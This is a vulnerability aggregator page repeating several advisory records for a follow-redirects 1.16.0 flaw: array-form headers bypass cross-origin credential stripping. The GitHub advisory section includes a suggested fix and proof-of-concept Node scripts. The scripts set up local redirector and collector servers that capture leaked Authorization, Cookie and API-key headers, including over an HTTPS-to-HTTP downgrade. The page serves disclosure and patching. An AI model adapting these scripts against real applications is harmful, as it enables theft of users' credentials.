follow-redirects array-form headers bypass cross-origin credential stripping

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

follow-redirects is a Node.js HTTP and HTTPS client wrapper that automatically follows redirects. From version 1.16.0 to before version 1.16.1, follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared sensitiveHeaders) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with for...in and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying http.request, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, for...in yields the numeric indices "0", "1", "2" and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The sensitiveHeaders option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect. This issue has been patched in version 1.16.1.

Source published

20 Oct 2026 17:58:21 UTC

Source modified

23 Oct 2026 01:59:26 UTC

Observed here

23 Oct 2026 16:01:20 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

follow-redirects is a Node.js HTTP and HTTPS client wrapper that automatically follows redirects. From version 1.16.0 to before version 1.16.1, follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared sensitiveHeaders) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with for...in and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying http.request, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, for...in yields the numeric indices "0", "1", "2" and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The sensitiveHeaders option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect. This issue has been patched in version 1.16.1.

Source published

Oct 20, 2026, 5:58:21 PM (timezone not stated)

Source modified

Oct 23, 2026, 1:59:26 AM (timezone not stated)

Observed here

7 Nov 2026 04:32:51 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

follow-redirects is a Node.js HTTP and HTTPS client wrapper that automatically follows redirects. From version 1.16.0 to before version 1.16.1, follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared sensitiveHeaders) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with for...in and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying http.request, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, for...in yields the numeric indices "0", "1", "2" and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The sensitiveHeaders option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect. This issue has been patched in version 1.16.1.

Source published

20 Oct 2026 18:17:18 UTC

Source modified

23 Oct 2026 02:16:54 UTC

Observed here

25 Oct 2026 05:17:13 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `"0"`, `"1"`, `"2"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect. ### Details The cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`: ```js function removeMatchingHeaders(regex, headers) { var lastValue; for (var header in headers) { // for...in over an ARRAY yields "0","1","2"... if (regex.test(header)) { // the header-name filter never matches a numeric index lastValue = headers[header]; delete headers[header]; } } return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim(); } ``` It is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`: - `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol. - `index.js:470` - strip the `Host` header (`/^host$/i`). - `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET. The caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched. Node's `http.request` accepts `options.headers` as an alternating array of names and values (for example `["Authorization", "Bearer ...", "Cookie", "session=..."]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `"0"`, `"1"`, `"2"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops: - The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target. - Any `sensitiveHeaders` the caller declared are forwarded too. - The stale `Host` of the previous origin is re-sent to the new origin. - On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body. The primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause. Root-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0. Suggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs: ```js function removeMatchingHeaders(regex, headers) { if (Array.isArray(headers)) { var lastValue; for (var i = 0; i < headers.length; i += 2) { if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; } } return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim(); } // existing object logic } ``` Apply the same guard to the `Host` and `content-*` removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers. References: - https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653 - https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422 - https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders option) ### PoC Environment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that `require("./index.js")` resolves to the library under test. Precondition check (Node accepts and serializes array-form headers): ``` node -e 'var http=require("http");var s=http.createServer((q,r)=>r.end(JSON.stringify(q.headers)));s.listen(0,"127.0.0.1",()=>{var p=s.address().port;http.request({hostname:"127.0.0.1",port:p,headers:["Authorization","Bearer T","Cookie","c=1"]},res=>{var b="";res.on("data",c=>b+=c);res.on("end",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});' ``` Observed: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered). Minimal form (built-in credential list), `arrayleak.js`: ```js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" }); // cross-origin (different port) res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); // attacker-controlled target }); redirector.listen(47301, "127.0.0.1", function () { collector.listen(47302, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 47301, path: "/", method: "GET", headers: [ "Host", "127.0.0.1:47301", "Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN", "Cookie", "session=ARRAY-FORM-SESSION-ID", "X-Custom", "harmless" ] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization :", h.authorization || "(stripped - OK)"); console.log("Cookie :", h.cookie || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); ``` Observed output (1.16.0 and 1.15.11): ``` Authorization : Bearer ARRAY-FORM-VICTIM-TOKEN <- credential LEAKED cross-origin Cookie : session=ARRAY-FORM-SESSION-ID <- credential LEAKED cross-origin ``` Control: replacing `headers` with the equivalent object `{ Host: ..., Authorization: ..., Cookie: ... }` and re-running strips both correctly, proving the strip branch executes and only the array iteration defeats it. Combined form (built-in list plus the 1.16.0 `sensitiveHeaders` fix, all defeated in one request), `combined.js`: ```js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:47402/steal" }); res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); }); redirector.listen(47401, "127.0.0.1", function () { collector.listen(47402, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 47401, path: "/", method: "GET", headers: [ "Host", "127.0.0.1:47401", "Authorization", "Bearer BUILTIN-VICTIM-TOKEN", "Cookie", "session=BUILTIN-SESSION-ID", "X-API-Key", "DECLARED-VICTIM-KEY" ], sensitiveHeaders: ["X-API-Key"] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization (built-in list) :", h.authorization || "(stripped - OK)"); console.log("Cookie (built-in list) :", h.cookie || "(stripped - OK)"); console.log("X-API-Key (sensitiveHeaders) :", h["x-api-key"] || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); ``` Observed output (1.16.0): ``` Authorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN <- LEAKED Cookie (built-in list) : session=BUILTIN-SESSION-ID <- LEAKED X-API-Key (sensitiveHeaders) : DECLARED-VICTIM-KEY <- LEAKED (the CVE-2026-40895 fix defeated) ``` Protocol-downgrade branch (credentials transit in cleartext), `downgrade.js`, using the repository's own test certificate at `test/assets/`: ```js var followRedirects = require("./index.js"); var http = require("http"); var https = require("https"); var fs = require("fs"); var opts = { key: fs.readFileSync("test/assets/localhost.key"), cert: fs.readFileSync("test/assets/localhost.crt") }; var ca = fs.readFileSync("test/assets/ca.crt"); var httpsOrigin = https.createServer(opts, function (req, res) { req.resume(); res.writeHead(302, { Location: "http://localhost:47502/steal" }); res.end(); }); var httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); }); httpsOrigin.listen(47501, "localhost", function () { httpCollector.listen(47502, "localhost", function () { followRedirects.https.request({ hostname: "localhost", port: 47501, path: "/", method: "GET", ca: ca, headers: ["Host", "localhost:47501", "Authorization", "Bearer DOWNGRADE-TOKEN", "Cookie", "session=DOWNGRADE-SESSION"] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization :", h.authorization || "(stripped - OK)"); console.log("Cookie :", h.cookie || "(stripped - OK)"); httpsOrigin.close(); httpCollector.close(); }); }).end(); }); }); ``` Observed output (1.16.0): both credentials received at the plaintext HTTP target after an HTTPS-to-HTTP redirect, meaning they transit unencrypted and are harvestable by any on-path network observer, not only the redirect destination. Side-effect verification (stale Host re-sent, Content-Length inconsistent): a POST request with array-form headers and a 13-byte body that receives a 302 to a different origin was observed to arrive at the new origin as a GET carrying the stale `Host` of the first origin and `Content-Length: 13` despite an empty body. ### Impact This is an information-disclosure vulnerability: silent failure of the cross-origin credential-header stripping control. Who is impacted: any application, or upstream library, that calls follow-redirects with Node's array-form headers (used to control header ordering or duplication) and follows a redirect whose target is controlled or compromised by an attacker. When triggered, the victim's Authorization, Cookie, and Proxy-Authorization headers, and any headers declared through the `sensitiveHeaders` option, are disclosed to the attacker-controlled destination. In the protocol-downgrade case the credentials additionally traverse the network in cleartext, exposing them to on-path observers. No authentication or user interaction is required of the attacker beyond controlling a redirect target the victim already contacts. The control that is defeated is the same one that prior advisories in this library (CVE-2022-0155, CVE-2022-0536, CVE-2026-40895 / GHSA-r4q5-vmmm-2653) were issued to establish and harden.

Source published

20 Oct 2026 17:58:04 UTC

Source modified

20 Oct 2026 18:15:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH